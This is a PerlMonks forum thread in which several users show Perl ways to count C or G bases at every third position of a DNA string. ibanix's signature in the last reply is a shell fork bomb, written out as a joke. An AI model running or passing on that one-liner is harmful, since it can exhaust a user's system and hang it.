Re: for loops
by Corion (Patriarch) on Dec 16, 2002 at 19:40 UTC
|
I think you are attacking the problem from a wrong angle. You are walking through your DNA string step by step, instead of jumping through it in increments of three. Also you are using a C-style loop, which is very error prone, in your case for example the first element of @dna is at $dna[0]. I'd rewrite your code in the following way, jumping forward three slots with every round :
use strict;
my $i = 2;
my @dna = split //, 'CTCCGGATCTAT';
my $counter = 0;
my $total = 0;
while ($i < @dna) {
if ($dna[$i] eq 'C') {
$counter++;
}
elsif ($dna[$i] eq 'G') {
$counter++;
}
$total++;
$i += 3;
}
print "Found $counter G/C of $total elements at a 3-position\n";
perl -MHTTP::Daemon -MHTTP::Response -MLWP::Simple -e ' ; # The
$d = new HTTP::Daemon and fork and getprint $d->url and exit;#spider
($c = $d->accept())->get_request(); $c->send_response( new #in the
HTTP::Response(200,$_,$_,qq(Just another Perl hacker\n))); ' # web
| [reply] [d/l] [select] |
Re: for loops
by Enlil (Parson) on Dec 16, 2002 at 19:44 UTC
|
for ( my $i = 2; $i < @dna; $i = $i+3 )
{
print "$dna[$i] at position $i\n";
if ( $dna[$i] eq 'C' or $dna[$i] eq 'G')
{
$counter++;
}
}
Here the $i is incremented by three every time through the loop, which I believe is what you wanted.
-enlil | [reply] [d/l] [select] |
Re: for loops
by Mr. Muskrat (Canon) on Dec 16, 2002 at 19:59 UTC
|
use strict;
use warnings;
my $string = "CTCCGGATCTAT";
my $sets = length($string)/3; # we want to know how man
+y sets of 3 there are
my $unpacker = 'A3' x $sets; # create our unpack templ
+ate
my @dna = unpack($unpacker, $string); # create the array of set
+s
my $counter = 0; # initialize the counter
for my $set (@dna) { # for each $set in @dna d
+o...
my $check = substr($set, 2, 1); # get the 3rd char of the
+ $set
++$counter if ($check =~ /[GC]/i); # increment the counter,
+ignore case
}
print "$counter/$sets was either C or G.\n"; # print results
| [reply] [d/l] |
|
|
use strict;
use warnings;
my $string = "CTCCGGATCTAT";
my %flag = (C => 1, G => 1, A => 0, T => 0);
my $counter = 0;
$counter += $flag{$1} while $string =~ /..(.)/g;
print "Found $counter occurences$/";
Makeshifts last the longest. | [reply] [d/l] [select] |
|
|
| [reply] [d/l] |
|
|
|
|
my $count=0;
$count += substr($dna, $_, 1) =~ /[CG]/ for map 3 * $_, 1 .. length($d
+na)/3;
print $count;
Examine what is said, not who speaks. | [reply] [d/l] |
|
|
Why so complicated?
- TIMTOWTDI
- The comments shed light on how it works
- It worked the first time. q-:
- Why not?
| [reply] |
Re: for loops
by djantzen (Priest) on Dec 16, 2002 at 19:47 UTC
|
Try incrementing by three rather than by one and then looking ahead three. At present, you're iterating over each element in the array and then checking to see the value of your index plus 3. So you're seeing 4, then 5, 6, 7, since you start counting at 1. Try a loop construct like:
for ($i = 2; $i < @dna; $i += 3) # assuming your start index is 0
| [reply] [d/l] |
Re: for loops
by dingus (Friar) on Dec 17, 2002 at 10:39 UTC
|
Almost certainly you will want to do some other things after this so I would recommend that you investigate some of the clever things done by the bioperl.org project. This includes a whole raft of DNA analysis stuff.
Dingus Enter any 47-digit prime number to continue. | [reply] |
Re: for loops
by ibanix (Hermit) on Dec 18, 2002 at 00:22 UTC
|
You can't get to third base with Perl. She's not that kind of girl.
:-P
ibanix
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo; | [reply] [d/l] |